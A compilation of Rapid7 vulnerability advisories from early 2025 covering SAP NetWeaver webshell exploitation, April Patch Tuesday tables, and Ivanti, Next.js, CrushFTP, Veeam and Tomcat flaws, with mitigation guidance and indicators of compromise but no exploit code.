CVE-2025-31324 is being actively exploited in the wild; Rapid7 MDR has observed exploitation in multiple customer environments dating back to at least March 27, 2025, nearly all of which has targeted manufacturing companies. Adversaries have exploited the vulnerability to drop webshells in the following directory: j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/

Public threat intelligence on CVE-2025-31324 exploitation has highlighted the use of webshells named helper.jsp and cache.jsp. With few exceptions (like helper.jsp), most webshells Rapid7 has observed had random 8-character names, e.g.:
cglswdjp.jsp
ijoatvey.jsp
dkqgcoxe.jsp
ylgxcsem.jsp
cpyjljgo.jsp
tgmzqnty.jsp

Rapid7 has not attributed this activity to a specific threat actor at time of writing.

Mitigation guidance

All SAP NetWeaver 7.xx versions and service packs (SPS) are affected.

SAP’s non-public guidance indicates that customers can check system info (http://host:port/nwa/sysinfo) for the Software Component VISUAL COMPOSER FRAMEWORK (VCFRAMEWORK.SCA). If this check returns no results, SAP has said the vulnerability is “not relevant for that system.”

Customers should update to the latest version of NetWeaver AS on an emergency basis, without waiting for a regular patch cycle to occur. Note that updating to a fixed version of NetWeaver will not address pre-existing compromises. Customers who are unable to update to a fixed version of the application should disable Visual Composer by following SAP’s directions here.

Customers should also restrict access to the affected endpoint (/developmentserver/metadatauploader) and investigate their environments for signs of compromise. SAP’s non-public advisory notes that the “most common targets for an attacking agent” are the following paths under the JAVA server file system — jsp, java, or class files present directly in these paths should be considered malicious: C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync

For additional information and the latest guidance, please refer to SAP’s non-public materials or contact SAP support.

Rapid7 customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage.

For InsightVM and Nexpose customers, our vulnerability coverage engineering team is investigating options to help customers assess exposure to this threat. We will update this blog no later than 3 PM ET on Monday, April 28 with additional information and delivery timelines.

Following the News: MITRE’s Common Vulnerabilities and Exposures (CVE) Funding

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/04/16/following-the-news-mitres-common-vulnerabilities-and-exposures-cve-funding/

The current situation

Following the News: MITRE’s Common Vulnerabilities and Exposures (CVE) Funding

On April 16, CISA extended funding to ensure no continuity issues with the critical Common Vulnerabilities and Exposures (CVE) program. This was in response to a letter sent by MITRE on April 15 to CVE board members warning of a potential issue with MITRE’s support for the CVE program. MITRE administers the global CVE program, which provides the human and technological infrastructure to reserve, publish, modify, and dispute CVEs.

Rapid7 continues to monitor both public and private discussions closely in its capacity as a CVE Numbering Authority (CNA) and as a longtime leader and participant in the CVE ecosystem.

How this could impact Rapid7 and our customers

Since funding has been extended for the next 11 months, there is no current impact. Rapid7 will continue to monitor the situation to ensure there is no future impact to our customers’ ability to use our platform to accurately assess their environment for vulnerabilities.

Rapid7’s multi-layered approach to vulnerability detection, creation, and risk scoring means that our products are not completely reliant on any single source of information. This was something we pointed to last year, when we assured customers of our continued vulnerability coverage in the face of NIST’s National Vulnerability Database delays.

The importance of MITRE and the CVE Program

The CVE program is critical infrastructure for modern vulnerability identification, tracking, management, and resolution. CVEs are used for risk identification, commercial and open-source tooling, vulnerability management workflows, security and academic research, threat intel production, incident response, and many other applications worldwide.

Rapid7 thanks and supports the MITRE organization as well as the extended ecosystem of industry collaborators who have worked diligently for the past 25 years to ensure the CVE program’s utility and integrity for the broader community.

We will continue to monitor the situation and will update this blog with any relevant developments. If you have any questions, please reach out.

Patch Tuesday – April 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/04/08/patch-tuesday-april-2025/

Patch Tuesday - April 2025

Microsoft is addressing 121 vulnerabilities this April 2025 Patch Tuesday, which is more than twice as many as last month. Microsoft has evidence of in-the-wild exploitation for just one of the vulnerabilities published today, which is already reflected in CISA KEV. Once again, Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication, so that’s now a seven month unbroken streak. Today also sees the publication of 11 critical remote code execution (RCE) vulnerabilities. 13 browser vulnerabilities have already been published separately this month, and are not included in the total.

CLFS: zero-day EoP

The Windows Common Log File System (CLFS) Driver is firmly back on our radar today with CVE-2025-29824, a zero-day local elevation of privilege vulnerability. First, the good news: the Acknowledgements section credits the Microsoft Threat Intelligence Center, so the exploit was successfully reproduced by Microsoft; the less-good news is that someone other than Microsoft was first to discover the exploit, because otherwise Microsoft wouldn’t be listing CVE-2025-29824 as exploited in the wild. The advisory does not specify what privilege level is achieved upon successful exploitation, but it’ll be SYSTEM, because that’s the prize for all the other CLFS elevation of privilege zero-day vulnerabilities. As usual, some form of less-privileged local access is a pre-requisite, but attack complexity is low, so this is the sort of vulnerability which goes into any standard break-and-enter toolkit. Given the long history of similar vulnerabilities, it would be more surprising if exploit code wasn’t publicly available in the not-too-distant future. Although December 2024 Patch Tuesday seems as though it must have been a very long time ago, any standard calendar will tell us that only 119 days have elapsed since the last zero-day CLFS local elevation of privilege. Rapid7 discussed the history of CLFS zero-day elevation of privilege vulnerabilities at the time. All versions of Windows receive a patch, except for the venerable LTSC Windows 10 1507, which is listed on the advisory as vulnerable, but left out in the cold with no update; the FAQ says to check back later. Windows 10 LTSC 1507 is scheduled for end of servicing on 2025-10-14, so the clock is ticking regardless.

LDAP Server: critical RCE

Although it has been many months since we’ve seen a critical zero-day vulnerability from Microsoft, there is no shortage of critical remote code execution (RCE) vulnerabilities published today. Defenders responsible for an LDAP server — which means almost any organization with a non-trivial Microsoft footprint — should add patching for CVE-2025-26663 to their to-do list. With no privileges required, no need for user interaction, and code execution presumably in the context of the LDAP server itself, successful exploitation would be an attractive shortcut to any attacker. Anyone wondering if today is a re-run of December 2024 Patch Tuesday can take some small solace in the fact that the worst of the trio of LDAP critical RCEs published at the end of last year was likely easier to exploit than today’s example, since today’s CVE-2025-26663 requires that an attacker win a race condition. Despite that, Microsoft still expects that exploitation is more likely.

LDAP Client: critical RCE

If you breathe a sigh of relief when you see LDAP server critical RCE vulnerabilities like CVE-2025-26663, because you’re certain that you don’t have any Windows LDAP servers in your estate, how about LDAP clients? CVE-2025-26670 describes a critical RCE in the LDAP client, although the FAQ confusingly states that exploitation would require an attacker to “send specially crafted requests to a vulnerable LDAP server”; this seems like it might be a data entry error on the advisory FAQ, so keep an eye out for an update to that section of the advisory. Assuming the rest of the advisory is all present and correct, exploitation requires that the attacker win a race condition, which keeps the attack complexity higher than it otherwise would be. While we wait for clarification, it’s still a critical RCE which Microsoft rates as “exploitation more likely”. On that basis, patching is always recommended.

RDS: critical RCEs

The prolific Windows vulnerability pioneers at Kunlun Lab are credited with a pair of critical RCE vulnerabilities in Windows Remote Desktop Services. Although both CVE-2025-27480 and CVE-2025-27482 share a CVSSv3 base score of 8.1, Microsoft has ranked them both as critical using its own proprietary severity ranking scale. Both vulnerabilities require that an attacker win a race condition. If you’ve ever read Microsoft’s guide to deploying the Remote Desktop Gateway role, you probably have some systems to patch.

Hyper-V: critical RCE

Some Microsoft security advisory FAQs provide a satisfying level of detail, whereas others raise more questions than they answer. CVE-2025-27491 is a Hyper-V critical RCE which falls into the second category, since it states that an attacker must be authenticated — no need for elevated privileges — but also that the attacker must send the user a malicious site and convince them to open it, and it’s not at all clear why authentication would be required in that case. Also unusual: the remediation table on the advisory lists several 32-bit versions of Windows as receiving patches, although Hyper-V requires a 64-bit processor and a 64-bit host OS.

Microsoft lifecycle update

In Microsoft product lifecycle news, Dynamics GP 2015 moves past the end of extended support today. The next batch of significant lifecycle status changes are due in July 2025, when SQL Server 2012 ESU program draws to a close.

Summary charts

Patch Tuesday - April 2025
Patch Tuesday - April 2025
Elevated amounts of elevation of privilege
Patch Tuesday - April 2025

Summary tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29805 Outlook for Android Information Disclosure Vulnerability No No 7.5

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-27489 Azure Local Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26628 Azure Local Cluster Information Disclosure Vulnerability No No 7.3
CVE-2025-25002 Azure Local Cluster Information Disclosure Vulnerability No No 6.8

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-25000 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 8.8
CVE-2025-29815 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 7.6
CVE-2025-29796 Microsoft Edge for iOS Spoofing Vulnerability No No 4.7
CVE-2025-25001 Microsoft Edge for iOS Spoofing Vulnerability No No 4.3
CVE-2025-3074 Chromium: CVE-2025-3074 Inappropriate implementation in Downloads No No N/A
CVE-2025-3073 Chromium: CVE-2025-3073 Inappropriate implementation in Autofill No No N/A
CVE-2025-3072 Chromium: CVE-2025-3072 Inappropriate implementation in Custom Tabs No No N/A
CVE-2025-3071 Chromium: CVE-2025-3071 Inappropriate implementation in Navigations No No N/A
CVE-2025-3070 Chromium: CVE-2025-3070 Insufficient validation of untrusted input in Extensions No No N/A
CVE-2025-3069 Chromium: CVE-2025-3069 Inappropriate implementation in Extensions No No N/A
CVE-2025-3068 Chromium: CVE-2025-3068 Inappropriate implementation in Intents No No N/A
CVE-2025-3067 Chromium: CVE-2025-3067 Inappropriate implementation in Custom Tabs No No N/A
CVE-2025-3066 Chromium: CVE-2025-3066 Use after free in Navigations No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-26682 ASP.NET Core and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2025-29802 Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2025-29804 Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2025-20570 Visual Studio Code Elevation of Privilege Vulnerability No No 6.8

Developer Tools SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29803 Visual Studio Tools for Applications and SQL Server Management Studio Elevation of Privilege Vulnerability No No 7.3

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29821 Microsoft Dynamics Business Central Information Disclosure Vulnerability No No 5.5

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29794 Microsoft SharePoint Remote Code Execution Vulnerability No No 8.8
CVE-2025-27747 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-29820 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-29822 Microsoft OneNote Security Feature Bypass Vulnerability No No 7.8
CVE-2025-27745 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-27748 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-27749 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-27746 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-26642 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-27744 Microsoft Office Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27752 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-29791 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-27751 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-27750 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-29823 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-29800 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29801 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29816 Microsoft Word Security Feature Bypass Vulnerability No No 7.5
CVE-2025-29792 Microsoft Office Elevation of Privilege Vulnerability No No 7.3
CVE-2025-29793 Microsoft SharePoint Remote Code Execution Vulnerability No No 7.2

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-27743 Microsoft System Center Elevation of Privilege Vulnerability No No 7.8

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-26678 Windows Defender Application Control Security Feature Bypass Vulnerability No No 8.4
CVE-2025-27482 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-26639 Windows USB Print Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26675 Windows Subsystem for Linux Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27729 Windows Shell Remote Code Execution Vulnerability No No 7.8
CVE-2025-29811 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26666 Windows Media Remote Code Execution Vulnerability No No 7.8
CVE-2025-26674 Windows Media Remote Code Execution Vulnerability No No 7.8
CVE-2025-27728 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27739 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27476 Windows Digital Media Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27467 Windows Digital Media Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27730 Windows Digital Media Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24058 Windows DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27490 Windows Bluetooth Service Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27731 Microsoft OpenSSH for Windows Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24074 Microsoft DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24073 Microsoft DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24060 Microsoft DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24062 Microsoft DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29812 DirectX Graphics Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29809 Windows Kerberos Security Feature Bypass Vulnerability No No 7.1
CVE-2025-27491 Windows Hyper-V Remote Code Execution Vulnerability No No 7.1
CVE-2025-27475 Windows Update Stack Elevation of Privilege Vulnerability No No 7
CVE-2025-26649 Windows Secure Channel Elevation of Privilege Vulnerability No No 7
CVE-2025-27492 Windows Secure Channel Elevation of Privilege Vulnerability No No 7
CVE-2025-26640 Windows Digital Media Elevation of Privilege Vulnerability No No 7
CVE-2025-26681 Win32k Elevation of Privilege Vulnerability No No 6.7
CVE-2025-26651 Windows Local Session Manager (LSM) Denial of Service Vulnerability No No 6.5
CVE-2025-26635 Windows Hello Security Feature Bypass Vulnerability No No 6.5
CVE-2025-27735 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability No No 6
CVE-2025-27736 Windows Power Dependency Coordinator Information Disclosure Vulnerability No No 5.5
CVE-2025-29808 Windows Cryptographic Services Information Disclosure Vulnerability No No 5.5
CVE-2025-26644 Windows Hello Spoofing Vulnerability No No 5.1

Windows Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29819 Windows Admin Center in Azure Portal Information Disclosure Vulnerability No No 6.2

Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-27477 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21205 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21221 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21222 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-27481 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-26669 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 8.8
CVE-2025-27740 Active Directory Certificate Services Elevation of Privilege Vulnerability No No 8.8
CVE-2025-27737 Windows Security Zone Mapping Security Feature Bypass Vulnerability No No 8.6
CVE-2025-27480 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-26671 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-26663 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 8.1
CVE-2025-26647 Windows Kerberos Elevation of Privilege Vulnerability No No 8.1
CVE-2025-26670 Lightweight Directory Access Protocol (LDAP) Client Remote Code Execution Vulnerability No No 8.1
CVE-2025-27487 Remote Desktop Client Remote Code Execution Vulnerability No No 8
CVE-2025-21204 Windows Process Activation Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26648 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27727 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29824 Windows Common Log File System Driver Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-26679 RPC Endpoint Mapper Service Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27741 NTFS Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27483 NTFS Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27733 NTFS Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26688 Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability No No 7.8
CVE-2025-27484 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability No No 7.5
CVE-2025-26686 Windows TCP/IP Remote Code Execution Vulnerability No No 7.5
CVE-2025-26680 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-27470 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-21174 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-26652 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-27485 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-27486 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-26668 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 7.5
CVE-2025-26673 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability No No 7.5
CVE-2025-27469 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability No No 7.5
CVE-2025-26641 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-27479 Kerberos Key Distribution Proxy Service Denial of Service Vulnerability No No 7.5
CVE-2025-27473 HTTP.sys Denial of Service Vulnerability No No 7.5
CVE-2025-29810 Active Directory Domain Services Elevation of Privilege Vulnerability No No 7.5
CVE-2025-26665 Windows upnphost.dll Elevation of Privilege Vulnerability No No 7
CVE-2025-27478 Windows Local Security Authority (LSA) Elevation of Privilege Vulnerability No No 7
CVE-2025-21191 Windows Local Security Authority (LSA) Elevation of Privilege Vulnerability No No 7
CVE-2025-27732 Windows Graphics Component Elevation of Privilege Vulnerability No No 7
CVE-2025-26637 BitLocker Security Feature Bypass Vulnerability No No 6.8
CVE-2025-26664 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-26667 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-27474 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-21203 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-26672 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-26676 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-27738 Windows Resilient File System (ReFS) Information Disclosure Vulnerability No No 6.5
CVE-2025-21197 Windows NTFS Information Disclosure Vulnerability No No 6.5
CVE-2025-27471 Microsoft Streaming Service Denial of Service Vulnerability No No 5.9
CVE-2025-27742 NTFS Information Disclosure Vulnerability No No 5.5
CVE-2025-27472 Windows Mark of the Web Security Feature Bypass Vulnerability No No 5.4

Windows ESU Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-26687 Win32k Elevation of Privilege Vulnerability No No 7.5

Ivanti Connect Secure CVE-2025-22457 exploited in the wild

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2025/04/03/etr-ivanti-connect-secure-cve-2025-22457-exploited-in-the-wild/

Ivanti Connect Secure CVE-2025-22457 exploited in the wild

On Thursday, April 3, 2025, Ivanti disclosed a critical severity vulnerability affecting Ivanti Connect Secure, Pulse Connect Secure, Policy Secure, and ZTA Gateways. CVE-2025-22457 is a stack-based buffer overflow vulnerability that allows remote, unauthenticated attackers to execute code on the target device. Ivanti’s advisory indicates that CVE-2025-22457 is known to be exploited in the wild; Google’s Mandiant division attributes this activity to suspected China-nexus actors.

Ivanti’s advisory indicates that the vulnerability was “initially identified as a product bug” and patched in Ivanti Connect Secure version 22.7R2.6 (released February 11, 2025). Per Mandiant, CVE-2025-22457 is “a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability.” However, on April 3, Ivanti publicly acknowledged known exploitation in the wild of supported Ivanti Connect Secure and End-of-Support Pulse Connect Secure appliances for remote code execution in some customer environments.

Mitigation guidance

The following products and versions are vulnerable to CVE-2025-22457:

  • Ivanti Connect Secure 22.7R2.5 and prior
  • Pulse Connect Secure (End-of-Support) 9.1R18.9 and prior
  • Ivanti Policy Secure 22.7R1.3 and prior
  • ZTA Gateways 22.8R2 and prior

Ivanti has a full table of affected versions and corresponding solution estimates in their advisory.

A patch is available (initially released on February 11, 2025) for CVE-2025-22457 in Ivanti Connect Secure. However, the advisory states that patches for Ivanti Policy Secure and ZTA Gateways will not be available until April 21, 2025 and April 19, 2025, respectively. Pulse Connect Secure 9.1x reached End-of-Support on December 31, 2024 and won’t be patched. For the latest information, please refer to the Ivanti advisory.

Customers should apply the available Ivanti Connect Secure patch immediately, without waiting for a typical patch cycle to occur. Ivanti’s advisory notes that “Customers should monitor their external ICT and look for web server crashes. If your ICT result shows signs of compromise, you should perform a factory reset on the appliance and then put the appliance back into production using version 22.7R2.6.” Notably, ICT results may vary; a factory reset should be performed if exploitation is suspected, regardless of ICT results.

For the latest information, please refer to the vendor advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-22457 in Ivanti Connect Secure with a vulnerability check expected to be available in today’s (April 3, 2025) content release.

Notable vulnerabilities in Next.js (CVE-2025-29927) and CrushFTP

Post Syndicated from Calum Hutton original https://blog.rapid7.com/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/

Notable vulnerabilities in Next.js (CVE-2025-29927) and CrushFTP

Rapid7 is warning customers of notable vulnerabilities in Next.js, a React framework for building web applications, and CrushFTP, a file transfer technology that has previously been targeted by adversaries.

  • CVE-2025-29927 is a critical improper authorization vulnerability in Next.js middleware that could (theoretically) allow an attacker to bypass authorization checks in a Next.js application, if the authorization check occurs in middleware.
  • No CVE has been assigned (as of March 25, 2025) to an unauthenticated HTTP(S) port access vulnerability in CrushFTP file transfer software

Neither of the above vulnerabilities is known to have been exploited in the wild as of Tuesday, March 25, 2025. CrushFTP has previously been exploited in the wild for adversary access to (and exfiltration of) sensitive data.

CrushFTP unauthenticated HTTP(S) port access vulnerability (no CVE)

On Friday, March 21, 2025, file transfer software maker CrushFTP disclosed a new vulnerability to customers via email:

Notable vulnerabilities in Next.js (CVE-2025-29927) and CrushFTP

Note: While the email image above indicates only CrushFTP v11 is affected by the still-CVE-less (as of March 25) unauthenticated port access vulnerability, the extremely sparse vendor advisory indicates that both CrushFTP v10 and v11 are affected. According to the vendor, the issue is not exploitable if customers have the DMZ function of CrushFTP in place.

Mitigation guidance: File transfer technologies are high-value targets for ransomware and other adversaries looking to quickly gain access to and exfiltrate sensitive data. Per the email sent to CrushFTP customers on Friday, March 21, the vulnerability is fixed in CrushFTP v11.3.1 (and later). Customers should update immediately, without waiting for a regular patch cycle to occur.

Next.js CVE-2025-29927

CVE-2025-29927 stems from logic associated with how middleware is handled by the application — specifically, an attacker can provide a header in any request to bypass application middleware. Application middleware can perform any number of tasks, and it can stack so that multiple layers of middleware can be configured, with each able to modify the request/response passed to it. Common use cases of middleware include authentication/authorization, CSP validation, URL rewriting/redirection etc.

As the vulnerability affects an application framework, and the application middleware configuration can vary greatly, so too does the potential impact of exploiting the vulnerability. Based on Rapid7’s analysis, there is no ‘one-size-fits-all’ determination of risk/impact for CVE-2025-29927 (which is a common scenario for framework and library vulns). The most severe potential impact likely comes in the form of authentication bypass, but would still be highly application-dependent — the impact of bypassing authentication for a hobbyist “To do list” application is very different from theoretically bypassing authentication in an enterprise application utilising Next.js.

Organizations should consider whether their applications are relying solely on the middleware for authentication. It may be that the application uses middleware, but is just acting as a front end to back-end APIs that are dealing with server-side authentication logic. Bypassing the front-end Next.js middleware would not affect the back end’s ability to authenticate users.

As an example of how a more measured view can change the outlook, a Red Hat advisory for CVE-2025-29927 originally listed two products as affected: Red Hat Trusted Artifact Signer and Streams for Apache Kafka 2. Now these have been removed and classified as “Not affected,” presumably following further review. The advisory was updated with the following: “Red Hat Trusted Artifact Signer and Streams for Apache Kafka 2 are not affected by this vulnerability as they do not use Next.js for any authorization functionality.”

Mitigation guidance: Per the Next.js advisory, CVE-2025-29927 affects the following versions of Next.js:

  • >= 13.0.0, < 13.5.9 (fixed in 13.5.9)
  • >= 14.0.0, < 14.2.25 (fixed in 14.2.25)
  • >= 15.0.0, < 15.2.3 (fixed in 15.2.3)
  • >= 11.1.4, < 12.3.5 (fixed in 12.3.5)

Rapid7 customers

InsightVM and Nexpose customers who run CrushFTP on Linux can assess their exposure to the no-CVE unauthenticated HTTP(S) port access issue with a vulnerability check available in the Friday, March 21 content release.

Our InsightVM coverage team is assessing the feasibility of adding a vulnerability check for Next.js CVE-2025-29927. We will update this blog with further information no later than 6 AM ET on Wednesday, March 26, 2025.

Critical Veeam Backup & Replication CVE-2025-23120

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/03/19/etr-critical-veeam-backup-and-replication-cve-2025-23120/

Critical Veeam Backup & Replication CVE-2025-23120

On Wednesday, March 19, 2025, backup and recovery software provider Veeam published a security advisory for a critical remote code execution vulnerability tracked as CVE-2025-23120. The vulnerability affects Backup & Replication systems that are domain joined. Veeam explicitly mentions that domain-joined backup servers are against security and compliance best practices, but in reality, we believe this is likely to be a relatively common configuration.

Veeam’s advisory indicates that the vulnerability is authenticated, though the CVSS score for CVE-2025-23120 is listed as 9.9. The advisory itself states that “authenticated domain users” can exploit the vulnerability but says little else — it’s possible that additional exploitation criteria will be published later on. According to Veeam, all supported versions of Backup & Replication are affected.

No public proof-of-concept exploit has been released (at time of this blog’s publication). Veeam Backup & Replication has a very large deployment footprint, and backup solutions are commonly targeted by threat actors. Veeam Backup & Replication should not be exposed to the internet and makes for a more effective internal attack vector than an external vector. Still, plenty of previous Veeam Backup & Replication vulnerabilities have been exploited in the wild, including by ransomware groups.

As we have mentioned previously, more than 20% of Rapid7 incident response cases in 2024 involved Veeam being accessed or exploited in some manner, typically once an adversary has already established a foothold in the target environment.

Mitigation guidance

Veeam Backup & Replication 12.3.0.310 and all earlier version 12 builds are vulnerable to CVE-2025-23120, per the vendor advisory.

Customers should update to the latest version of the software (12.3 build 12.3.1.1139) immediately, without waiting for a regular patch cycle to occur. Per the vendor, unsupported software versions were not tested but should be considered vulnerable.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-23120 with a vulnerability check expected to be available in tomorrow’s (Thursday, March 20) content release.

Apache Tomcat CVE-2025-24813: What You Need to Know

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2025/03/19/etr-apache-tomcat-cve-2025-24813-what-you-need-to-know/

Apache Tomcat CVE-2025-24813: What You Need to Know

Here at Rapid7, our usual bar for calling a vulnerability an emergent threat is either known exploitation at scale, or likelihood of exploitation at scale. Apache Tomcat CVE-2025-24813 fulfills neither of these criteria, despite a variety of news headlines alleging broad exploitation in the wild. Tomcat is widely deployed and has seen a number of severe vulnerabilities over the years that have had specific configuration dependencies for successful exploitation — this one follows the same pattern.

TL;DR: Patch, but there’s no need to panic. Here’s what you need to know:

  • CVE-2025-24813 is an unauthenticated remote code execution vulnerability in Apache Tomcat’s partial PUT feature disclosed on March 10, 2025. Fixed versions are available.
  • Under specific circumstances, successful exploitation allows attackers to execute code remotely on target systems via unsafe deserialization.
  • Vulnerability details and proof-of-concept (PoC) exploit code are both publicly available.
  • Based on our analysis and those of other research firms, the conditions required for successful exploitation appear to be specific, non-default, and uncommon.
  • CVE-2025-24813 has reportedly been exploited in the wild; however, Rapid7 has been unable to confirm any successful exploitation occurring against real-world production environments. We assess that “exploitation” in this context likely means unsuccessful exploit attempts rather than successful compromise of production systems.
  • Broad exploitation is unlikely given the specific vulnerable configuration requirements (see Exploitability requirements below).

Rapid7 researchers have tested publicly available PoC code and investigated the conditions Apache indicated were required for exploitation. Like other researchers, our team found that the vendor’s exploitable configuration information differs from what we observed during testing. Additionally, our team assessed the exploitable configuration to be relatively uncommon. Based on a GitHub code search query, only a small number of open-source Tomcat projects published publicly on GitHub are using write-enabled default servlet configurations (a pre-requisite for exploitation) — approximately 200, and most have fewer than 30 stars. Rapid7’s vulnerability research team has a full testing report here.

Exploitability requirements

Per the advisory, an attacker could view security sensitive files and/or inject content into those files if ALL of the following were true:

  • writes enabled for the default servlet (disabled by default)
  • support for partial PUT (enabled by default)
  • a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)
